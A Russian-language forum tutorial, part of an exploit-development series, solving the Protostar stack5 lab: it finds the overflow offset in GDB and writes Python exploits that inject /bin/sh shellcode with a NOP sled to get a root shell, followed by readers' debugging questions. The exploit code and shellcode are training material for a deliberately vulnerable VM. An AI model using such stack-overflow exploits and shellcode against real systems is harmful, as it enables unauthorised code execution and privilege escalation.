• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья Переполнение буфера и размещение шеллкода в памяти - Изучение методов эксплуатации на примерах, часть 6

Все части переполнение буфера
Предыдущая часть Переполнение буфера и перезапись адреса возврата - разработка эксплойтов, часть 5
Следующая часть Переполнение буфера и техника эксплуатации Ret2Libc - разработка эксплойтов, часть 7

Доброго времени суток codeby!!! В предыдущей статье мы познакомились с методом, как перезаписывать адрес возврата используя регистр EIP и так же вычисляли смещение (offset). Это 6 часть цикла статей посвященная разработке эксплойтов. В этой статье мы впервые познакомимся с шеллкодом и напишем с вами первый эксплойт. Шестая часть, шеллкод, черная магия... Совпадение ? Не думаю. Поехали...

Ремарка

Начиная с этого момента нам будет не очень удобно работать напрямую с VM, т.е. взаимодействовать с ней. Особенно это касается копирование данных. Или когда нам надо запустить два окна сразу... Чтобы это исправить теперь мы будем не просто запускать VM и работать с ней, а теперь мы будем подключаться к VM по SSH используя клиент Putty. Для того, чтобы это сделать, надо в настройках VM в разделе "Сеть" включить виртуальный хост адаптера. После чего запустить VM, дальше выполнить команду
Код:
/sbin/ifconfig
Затем посмотрев IP-адрес машины (192.168.56.101) подключиться с помощью клиента Putty.

Описание ExploitMe

Stack5 - это стандартное переполнение буфера, на этот раз вводим шелл-код.

Этот уровень находится в / opt / protostar / bin / stack5

Советы
  • На данный момент может быть проще использовать кто-то другой шеллкод
  • При отладке шелл-кода используйте \ xcc (int3), чтобы остановить выполнение программы и вернуться к отладчику.
  • удалите int3s, как только ваш шеллкод будет готов.
, VM

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Решение

Данный нам код уязвимой программы уже нам знаком, мы встречались уже с ним в stack4, единственное отличие здесь нет функции win(). Цель этого задания выполнить шеллкод. И так поговорим с вами о том, что такое шеллкод, что это такое и с чем его едят.

Шеллкод - это двоичный исполняемый код, его так же называют частенько Payload'ом - боевой нагрузкой, так же шеллкод является неотъемлемой частью эксплойта. Целью шеллкода является выполнение каких-то действий, при чем самых разнообразных, эти действия закодированы в самом шеллкоде, т.е сам шеллкод если говорить простым языком это набор команд (инструкций).

Существует множество различных шеллкод'ов...

Например, шеллкод который запускает командную оболочку '/bin/sh' или 'cmd' или шеллкод, который скачает файл по URL и затем его выполнит, или же шеллкод который открывает TCP-порт, через который будет осуществляться дальнейший доступ к командной оболочке, или же шеллкод который запускает какую-то определенную программу, например калькулятор. Простым языком шеллкод, это код любой наш код, который мы хотим выполнить.

Собственно шеллкод может быть разного размера и написан под разные задачи в зависимости от преследуемой цели. Т.е. шеллкод который выполняет больше действий соответственно будет большего размера и наоборот. Теперь когда нам более менее понятно, что такое шеллкод в общих чертах, посмотрим, как он выглядит.

А выглядит он так...
Код:
\x31\xC0\xB9\x46\x24\x80\x7C\x66\xB8\x90\x5F\x50\xFF\xD1
.е. как цепочка последовательности определенных байтов...

Что касается нашего ExploitMe. Шеллкод нам надо будет внедрить в память нашей уязвимой программы, после чего нам надо будет передать управление на шеллкод при переполнении буфера. Передача управления шеллкоду осуществляется перезаписью адреса возврата (RET) в стеке, адресом внедрённого шеллкода. Это классический метод исполнения шеллкода при написании эксплойтов.

Так, как, это первое знакомство с шеллкодом, будем использовать шеллкод, который запустит нам командную оболочку '/bin/sh'. Собственно это и есть цель нашего задания...

Получается эксплуатация уязвимой программы будет выглядеть следующем образом.

Мусорная строка + адрес шеллкода + сам шеллкод. Результатом этого будет выполнение нашего шеллкода, который откроет командную оболочку.

И так, пожалуй приступим. Начнем с вычисления смещения - offset. Будем использовать метод аналогичный методу с Metasploit, поэтому переходим на сайт.

Далее создадим файл в домашней директории.
Код:
nano ~/offset.txt
И скопируем 200 байт, уникальной мусорной строки в него.
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Сохраняем F2,y,Enter.

Запускаем отладчик GDB.
Код:
gdb -q ./stack5
и перенаправляем вывод из нашего файла в программу.
Код:
run < ~/offset.txt
27955


Получаем адрес 0x63413563, потом вводим его на сайте, как было в прошлой статье и получаем 76 байт для смещения (offset), затем можно выйти из отладчика - quit

27956


Отлично смещение мы вычислили - 76 байт.

Далее будем использовать python для проверки области которая перезаписывает регистр EIP. По идее следующие 4 байта перезапишут EIP. Поэтому перенаправим печать и создадим еще один файл используя питон.
Код:
python -c "print 'A'*76 +'ABCD'[::-1]" > ~/test_eip.txt
Запускаем отладчик GDB и выполняем программу с выводом из файла.
Код:
gdb -q ./stack5
run < ~/test_eip.txt
info registers
27957


И видим, действительно после 76 байт, следующие 4 байта попадают в регистр EIP. А вся область это 80 байт. Собственно, как и было в прошлый раз. Так же не забываем про , что если бы мы не использовали реверс строки в печати 'ABCD', то в памяти они выглядели по другому, т.е. тоже перевернутыми. И в место 0x41424344 (ABCD)мы бы увидели 0x44434241 (DCBA).

На место 4 байт , которые ложатся в регистр EIP нам надо положить, адрес того, что мы хотим исполнить, а именно адрес шеллкода. Далее нам надо найти где в стеке расположен наш буфер, затем используем его для хранения нашего шеллкода. Этот подход является наиболее простым и очень нам подходит.

Так, как же нам найти место где находится наш буфер?

Мы точно знаем, в какой момент наше значение попадает в регистр EIP, в тот момент, когда возвращается функция main(). Мы можем использовать отладчик, чтобы остановить выполнение программы на этом этапе, чтобы посмотреть память.

Дизассемблируем функцию main() , чтобы узнать адрес возврата (RET) функции main(). Помним, что когда функция отработала она передает управление от куда ее вызвали...
Код:
disas main
27958



Адрес возврата (RET) функции main() получен - 0x080483da. Теперь установим точку останова (breakpoint) на этот адрес и запустим программу в отладчике с тем созданным файлом для теста EIP.
Код:
break *0x080483da
run < ~/test_eip.txt
27959


Выполнение программы дойдет до нашей точки останова - установленной на RET адресе функции main() и остановится. Теперь мы можем посмотреть на состояние памяти перед тем как перезаписывается EIP .

Для начала посмотрим состояние регистров
Код:
info registers
27960


Мы видим, что регистр EBP уже имеет значение 0x41414141, это происходит, когда выполняется команда (RET) расположенная по адресу 0x80483da, которая выталкивает указатель сохраненного кадра из стека в EBP. К тому же, мы так же можем контролировать значение регистра EBP, как EIP. Адрес регистра EIP указывает на точку останова, как и было задумано. Теперь посмотрим память, так, как на этом этапе значение регистра ESP не затронуто. Наш буфер должен быть достаточно близко к вершине стека.

Помним что ESP указывает на вершину стека (младшие адреса).
Код:
x/16x $esp
27961


Тут мы не увидели 64 символа из букв 'A', видно только значение 'ABCD'.

Давайте теперь посмотрим на другую часть стека. Поскольку 80 байт это та область которая перезаписывает EIP, мы вычтем это значение из регистра ESP.
Код:
x/32x $esp-80
27951


Отлично теперь мы видим не 64 байта. А все 80 байт. Включая 76 байт смещения (offset) и 4 байта которые перезапишут регистр EIP. По сути у нас есть 76 байт для шеллкода. Давайте попробуем исполнить наш шеллкод. Затем рассмотрим другой вариант.

И так, действовать будем так, с начало положим в буфер 12 байт мусора, затем шеллкод, потом еще мусор, затем 4 байта отведенные на адрес 0xbffffc8c шеллкода , которые пойдут в EIP. Выходим из отладчика (quit), а так же у нас есть один не решенный вопрос...

Где взять шеллкод?
шеллкод - можно найти в интернете;
шеллкод - можно написать самому;
шеллкод - можно сгенерировать (генератором, например msfvenom).

Мы же возьмем шеллкод от с сайта . Сайт очень богат разной информацией, поэтому советую на нем полазить.

27962


И так шеллкод у нас есть.
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
Еще одна важная деталь, чем шеллкод меньше весит, тем лучше. Иногда бывает, так что не хватает места для его размещения в памяти. Данная цепочка байтов составляет 28 байт.

12(мусор) + 28(шеллкод) + 36(мусор) + 4(адрес шеллкода) = 80 байт

Теперь создаем файл-эксплойт.
python -c "print 'a'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'a'*36 + '\xbf\xff\xfc\x8c'[::-1]" > ~/gdb_exploit.txt
Запускаем отладчик
Код:
gdb -q ./stack5
Выполняем файл-эксплойт
Код:
run < ~/gdb_exploit.txt
27952


Отлично наш шеллкод отработал мы получили оболочку. Рассмотрим второй вариант.

А что если этого буфера мало для шеллкода, т.е, нам не хватает места для размещения нашего шеллкода... Вопрос, можно ли выделить себе больше места? Для размещения шеллкода и что произойдет если мы добавим еще какое-то количество байтов... за пределами (RET).

Давайте создадим еще один файл и назовем его test_exploit.txt.

выйдем из отладчика. (quit)
Код:
python -c "print 'A'*76 +'ABCD'[::-1] + 'B'*256" > ~/test_exploit.txt
Будем использовать 80 байт для всей области + дополнительно 256 байт из букв 'B'. Так же мы точно не знаем, останутся ли эти байты не тронутыми. Воспользуемся отладчиком GDB и проверим.

Запускаем отладчик...
Код:
gdb -q ./stack5
break *0x080483da
run < ~/test_exploit.txt
x/32x $esp
27953


На этот раз, когда мы исследуем память в стеке, мы видим, что мы перезаписали за пределы (RET) и поместили в стек цепочку байтов из букв 'B' - 0x42.
Этого места нам будет достаточно для размещения нашего шеллкода.
Код:
x/72x $esp
27954


Теперь мы видим, где можно разместить наш шеллкод, Знаем будущий адрес шеллкода в памяти.

А еще в первой строчке видно байты 0x42, сразу же после значения 0x41424344, эти байты нам мешают, иначе шеллкод не выполнится, как было задумано.
Код:
0xbffffccc:     0x41424344      0x42424242      0x42424242      0x42424242
Поэтому, их надо заменить, но тут вопрос, чем их заметить? Есть такая инструкция процессора, как NOP. Опкод этой инструкции равен 0x90. Эта инструкция обозначает ничего, т.е. нет операции, пусто. Последовательность байтов из 0x90 называется . Поэтому при выполнение программы когда процессор дойдет до выполнение инструкции NOP ничего не будет выполнено. По сути он пропустит этот опкод и перейдет к следующей инструкции. Тут главное еще то, что их должно быть не меньше 12 байт. Тогда шеллкод не выполнится. А если их будет 12 байт или больше, то шеллкод все равно отработает, мы можем хоть 100 байтов (0x90) запихнуть в стек. Да хоть 500 байтов!!! Всё равно отработает наш шеллкод, как положено. Желательно, конечно, чтобы их было больше 12...

Выходим из отладчика и создаем другой файл-эксплойт
python -c "print 'a'*76 + '\xbf\xff\xfc\xdc'[::-1] + '\x90'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'" > ~/gdb_exploit2.txt

запускаем
Код:
gdb -q ./stack5
run < ~/exploit.txt
27964


Отлично наш шеллкод снова выполнился.

Если мы попробуем запустить файл-эксплойт в не отладчика GDB, то он не выполнится, все дело в том, что при запуске программы под отладчиком, адреса в стеке смещаются. Поэтому будем допиливать наш эксплойт, надо просто подправить адрес возврата. Чтобы получить другой адрес возврата на шеллкод. Нам нужен дамп памяти.

И так запускаем второе окно Putty и коннектимся по ssh с логином root и паролем godmode

И так выполняем следующие команды для того, чтобы получить дамп памяти.
Код:
echo 2 > /proc/sys/fs/suid_dumpable
ulimit -c unlimited
cd /tmp - переходим в каталог где появится дамп памяти

Создаем файл-эксплойт, где шеллкод расположен в буфере
python -c "print 'a'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'a'*36 + '\x41\x42\x43\x44'[::-1]" > /tmp/exploit.txt
Код:
cat exploit.txt | /opt/protostar/bin/stack5
Получаем дамп памяти
Segmentation fault (core dumped)

ls -l - смотрим название дампа памяти
gdb /opt/protostar/bin/stack5 core.11.stack5.10970 - запускаем отладчик с программой и дампом памяти
x/32x $esp-80 - смотрим память стека

28003


Новый адрес шеллкода теперь 0xbffffc80

Немного подкорректируем наш эксплойт

python -c "print 'a'*16 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'a'*32 + '\xbf\xff\xfc\x80'[::-1]" > exploit.txt

Хотя от того что мы в начале добавили 4 байта, а там отняли ничего не меняется. Самое главное тут адрес.
Код:
(cat exploit.txt ; cat) | /opt/protostar/bin/stack5
28002


Теперь при запуске эксплойта, мы не получаем ошибку... сегментации памяти. Хоть мы и сидим под рутом, но оболочк мы все же получили.

Теперь займемся другим эксплойтом создаем файл.

python -c "print 'a'*76 + '\x41\x42\x43\x44'[::-1] + '\x90'*12 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'" > /tmp/exploit2.txt
Код:
cat exploit2.txt | /opt/protostar/bin/stack5
Получаем дамп памяти
Segmentation fault (core dumped)

ls -l - смотрим название дампа памяти
Код:
gdb /opt/protostar/bin/stack5 core.11.stack5.11035
x/32x $esp
28001


Адрес у нас есть 0xbffffcc0 добавим к нему +80, чтобы те байты которые находятся за RET адресом, исполнились, т.е. там где находится наш шеллкод.

Возвращаем к putty окну где мы зашли под user.

Теперь напишем более реалистичный эксплойт, будем использовать модуль , в котором есть функция pack() для работы со структурами данных.
nano exploit.py
Python:
from struct import pack
trash = 'a'*76
eip = pack("I", 0xbffffcc0+80)
nops = "\x90" *100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print trash+eip+nops+shellcode

Нажимаем f2,y,enter.

Далее выполняем следующее...
Код:
whoami
id
(python exploit.py ; cat) | ./opt/protostar/bin/stack5
id
whoami
...

28005


Как видите эксплойт успешно отработал, мы получили оболочку с правами root и можем выполнять различные команды...

Ну или можно было сделать так.

28006


Закрываем оболочку нажатием комбинацией клавиш
Код:
Ctrl+C
Так же хочу сказать, что некоторые моменты в статье опущены специально, но мы их разберем в свое время. В задании говорилось об инструкции int 3, опкод этой инструкции 0xCC, этот опкод останавливает выполнение программы вызывая исключение, как точка останова, если в коде есть такой опкод, и вы запускаете программу под отладчиком, отладчик может принять, этот опкод, за точку за свою точку останова, иногда это используется, как антиотладочный прием. Теперь можно переходить на следующий уровень .
 
N

NNullday

Я застарял в начале данной статьи, помоги пожалуйста новичку в данном деле
вообще если кратко то выдает он мне 0x00007ffff7e80436 in ?? ()
0x00007ffff7e80436
а он не конвертируется на сайте, как быть? или я не правильно делаю что то?
 

fuzzz

Red Team
03.02.2019
249
468
BIT
1
Я застарял в начале данной статьи, помоги пожалуйста новичку в данном деле
вообще если кратко то выдает он мне 0x00007ffff7e80436 in ?? ()
0x00007ffff7e80436
а он не конвертируется на сайте, как быть? или я не правильно делаю что то?

У вас должны получится точно такие же оффсеты как в предыдущей статье. Не обязательно это делать используя сайт. Можно сделать тоже самое и положить в файл строку

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

разницы нет. у вас должно работать и так и так...

У вас еще очень странный адрес памяти он выдал. Он не должен быть таким большим. Возможно дело в настройках вм и обращение ведется к совсем к другим адресам памяти.
 
N

NNullday

У вас должны получится точно такие же оффсеты как в предыдущей статье. Не обязательно это делать используя сайт. Можно сделать тоже самое и положить в файл строку

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

разницы нет. у вас должно работать и так и так...

У вас еще очень странный адрес памяти он выдал. Он не должен быть таким большим. Возможно дело в настройках вм и обращение ведется к совсем к другим адресам памяти.
У меня еще + вместо eip esp - rip rsp
И так на всех компьютерах
Думаю это от эвм зависит
Регистры т.е.
Проблему так и не решил
Хз что делать
Даже идей нету как решить
Пробовал еще с x64dbg там та же истррю, адрес меняется но не пробивается через сайт и метасплоит
Пишет не верный формат
 

fuzzz

Red Team
03.02.2019
249
468
BIT
1
У меня еще + вместо eip esp - rip rsp
И так на всех компьютерах
Думаю это от эвм зависит
Регистры т.е.
Проблему так и не решил
Хз что делать
Даже идей нету как решить
Пробовал еще с x64dbg там та же истррю, адрес меняется но не пробивается через сайт и метасплоит
Пишет не верный формат

У меня 64 система. ВМ - протостар она 32 битная. Я не знаю, что ты там делаешь, но явно не то, что надо...
x64dbg не нужен, надо GDB
 
N

NNullday

Я решил проблему
На ноутбуке протестировал, там у меня win 10x64 стоит, скачал gdb, скомпилил бинарник и все работает, в плане того что регистр eip у меня, а точнее его адрес тоже изменяется, отпишусь как до конца протестирую!)
жаль только что таких статей мало, и нет примеров например с реальными сервисами, типа своего сервера, а так гуд!
 
  • Нравится
Реакции: Мажужв и Vertigo

potemking

One Level
24.12.2018
3
1
BIT
0
Что-то у меня ни один шеллкод не выполняется, везде segmentation fault. Всё перепроверил дважды.

И с адресами что-то странное. Например, адрес возврата (ret) из главной функции такой как в статье (0x080483da), а в стеке данные оказываются смещены на 16 байт. Там, где у тебя EIP в 0xbffffccc, у меня 0xbffffcbc. А в примере, где прога запускается с дампом памяти, стек вообще другой, 0x41424344 не могу найти.
 
  • Нравится
Реакции: DrFaust

fuzzz

Red Team
03.02.2019
249
468
BIT
1
Что-то у меня ни один шеллкод не выполняется, везде segmentation fault. Всё перепроверил дважды.

И с адресами что-то странное. Например, адрес возврата (ret) из главной функции такой как в статье (0x080483da), а в стеке данные оказываются смещены на 16 байт. Там, где у тебя EIP в 0xbffffccc, у меня 0xbffffcbc. А в примере, где прога запускается с дампом памяти, стек вообще другой, 0x41424344 не могу найти.

Адреса на разных машинах могут быть разные. Это нормально. Ориентируйся в первую очередь не на адреса, а на ход действий - т.е. алгоритм, как в статье. Если не получится опять, поступим так, я дам тебе свой контакт, мы свяжемся, и я тебя объясню, и шаг за шагом, ты решишь эту задачку =) А потом, ты отпишешь тут, что у тебя выходило не так, вдруг у кого то такая же проблема возникнет.
 
  • Нравится
Реакции: Мажужв

newbie

One Level
09.06.2018
4
3
BIT
0
fuzzz, повторяю действия в статье. удалось все выполнить кроме последнего,когда запускаю эксплоит от user "(python exploit.py ; cat) | /opt/protostar/bin/stack5", получаю ожидание ввода команды, но при вводе любой команды получаю segmentation fault. перепроверил адреса, все нормально, логически возврат из функции должен попадать на nop`ы и дойти до шелла, а при вводе команды выполниться шелл. под отладчиком приглашение шелла видно. Алгоритмически я все сделал верно. и еще, если я запускаю эксплоит под root, то ошибки сегментации не происходит и я полноценно получаю шелл. В чем может быть причина?
30449
 
  • Нравится
Реакции: fuzzz

fuzzz

Red Team
03.02.2019
249
468
BIT
1
fuzzz, повторяю действия в статье. удалось все выполнить кроме последнего,когда запускаю эксплоит от user "(python exploit.py ; cat) | /opt/protostar/bin/stack5", получаю ожидание ввода команды, но при вводе любой команды получаю segmentation fault. перепроверил адреса, все нормально, логически возврат из функции должен попадать на nop`ы и дойти до шелла, а при вводе команды выполниться шелл. под отладчиком приглашение шелла видно. Алгоритмически я все сделал верно. и еще, если я запускаю эксплоит под root, то ошибки сегментации не происходит и я полноценно получаю шелл. В чем может быть причина?Посмотреть вложение 30449

Ошибку нашел.
Поправь смещение у тебя там +50, измени на +80
Python:
eip = pack("I", 0xbffffcc0+80)

И тогда под обычном юзером заработает
 

newbie

One Level
09.06.2018
4
3
BIT
0
Ошибку нашел.
Поправь смещение у тебя там +50, измени на +80
Python:
eip = pack("I", 0xbffffcc0+80)

И тогда под обычном юзером заработает
спасибо за быстрый ответ. пробовал, изначально было все так же, как в статье, адрес+80, потом 100 nop`ов, суть не меняется. сейчас вернул в исходное, все без изменений. такое чувство что при запуске от юзера программа запускается в другом адресном пространстве(адреса то я строил изходя из дампа памяти при запуске от root`а).
 
  • Нравится
Реакции: Мажужв

fuzzz

Red Team
03.02.2019
249
468
BIT
1
Очень даже странно...
У меня работает.

30459


Надо подумать в чем дело может быть..
 

newbie

One Level
09.06.2018
4
3
BIT
0
спасибо за статью, очень продуктивная, буду думать в чем же у меня проблема. и еще один вопрос. почему id юзера,а whoami root?
 
  • Нравится
Реакции: Мажужв
B

Brem

Здравствуйте, Автор. Спасибо за хорошие гайды. Появился вопрос. Почему ESP находится "под" EIP когда мы выполняем x $esp-80? Он же должен находиться на вершине стека и его адрес должен быть меньше, чем адрес EIP и мы, по сути, должны не вычитать, а прибавлять 80?
 
  • Нравится
Реакции: Мажужв и swagcat228

fuzzz

Red Team
03.02.2019
249
468
BIT
1
Здравствуйте, Автор. Спасибо за хорошие гайды. Появился вопрос. Почему ESP находится "под" EIP когда мы выполняем x $esp-80? Он же должен находиться на вершине стека и его адрес должен быть меньше, чем адрес EIP и мы, по сути, должны не вычитать, а прибавлять 80?
Рад что мои статьи кого-то радуют...

Регистры EIP и ESP не находятся в стеке... Проще думать так существуют какие то адреса они разбросаны в каких то областях памяти. Эти регистры на них указывают. Эти регистры указывают на адреса в памяти. EIP на инструкцию которая будет выполнятся т.е. адрес этой инструкции в памяти.

Соответственно EIP может указывать на адрес в стеке. Из-за чего у тебя и путаница произошла. Возможно это моё упущение что криво не много объяснил это в статье...

ESP указывает на верхушку стека. Другое дело регистр EBP относительно него в стек ложатся переменные и аргументы функции. Вот EBP записывается в стек. Тут надо еще помнить что стек растет наоборот поэтому минус 80.
 
Последнее редактирование:

Sykes

Green Team
17.10.2017
143
93
BIT
0
Здравствуйте! Очень рад, что нашел настолько хороший цикл статей, у меня проблема с прохождением.

Всё шло отлично до момента с с брейкпоинтом. Поставил брейк на адрес 0x080483da из RET, иду далее и получаю ошибку, что нет доступа к адресу 0x41414149. В чем моя ошибка? Прошу помощи.

Порядок действий:

(gdb)
Dump of assembler code for function main:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: and $0xfffffff0,%esp
0x080483ca <main+6>: sub $0x50,%esp
0x080483cd <main+9>: lea 0x10(%esp),%eax
0x080483d1 <main+13>: mov %eax,(%esp)
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
(gdb) break *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) run < ~/test_eip.txt
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack5 < ~/test_eip.txt

Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149
) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c

Если нужно что-то показать ещё, то запросто
 

Aleks Binakril

Green Team
04.12.2019
38
5
BIT
0
читаю вашу статью и вспоминаю криса Касперского, вот был светила самоучка, отлично что вы такой же мастер эксплойтинга
 
  • Нравится
Реакции: Мажужв и fuzzz
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!